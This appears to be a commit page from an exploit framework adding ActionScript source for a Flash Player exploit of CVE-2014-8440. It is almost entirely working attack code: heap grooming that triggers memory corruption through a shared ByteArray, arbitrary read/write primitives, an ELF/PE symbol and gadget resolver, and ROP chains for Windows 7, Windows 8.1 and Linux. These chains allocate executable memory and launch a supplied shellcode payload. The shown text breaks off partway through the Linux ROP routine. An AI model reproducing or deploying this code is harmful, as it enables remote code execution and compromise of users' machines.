Debug version working

bug/bundler_fix
jvazquez-r7 2015-06-09 15:46:21 -05:00
parent f4649cb3fb
commit cf8c6b510b
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
9 changed files with 1333 additions and 8 deletions

Binary file not shown.

235
external/source/exploits/CVE-2014-8440/Elf.as vendored Executable file
View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,421 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Exploit extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
for (var i:uint = 0; i < object_vector.length; i++) {
if (i != corrupted_uv_index)
object_vector[i] = null
}
Logger.alert('corrupted :) ' + this.uv.length.toString(16))
exploiter = new Exploiter(this, platform, os, payload, uv)
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
this.object_vector[i] = new Vector.<uint>()
i++
}
i = 0
while (i < this.object_vector_length)
{
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
// Use the corrupted shared_ba to disclose its own address
private function search_ba_address():uint {
var address:uint = 0
this.shared_ba.position = 0x14
address = shared_ba.readUnsignedInt()
if (address == 0) {
address = 0xffffffff
this.shared_ba.position = 8
var next:uint = shared_ba.readUnsignedInt()
var prior:uint = shared_ba.readUnsignedInt()
if (next - prior == 0x8000) {
address = prior + 0x4000
}
} else {
address = address - 0x30
}
return address
}
// Use the corrupted uint vector to search an vector with
// interesting objects for info leaking
private function search_object_vector():uint {
var i:uint = 0;
while (i < 0x4000){
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
this.uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
return this.uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 114
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,403 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(10000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
Logger.log("[*] byte_array_object: " + byte_array_object.toString(16))
main = ev.at(pos + 1) - 1
Logger.log("[*] main: " + main.toString(16))
stack_object = ev.at(pos + 2) - 1
Logger.log("[*] stack_object: " + stack_object.toString(16))
payload_space_object = ev.at(pos + 3) - 1
Logger.log("[*] payload_space_object: " + payload_space_object.toString(16))
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
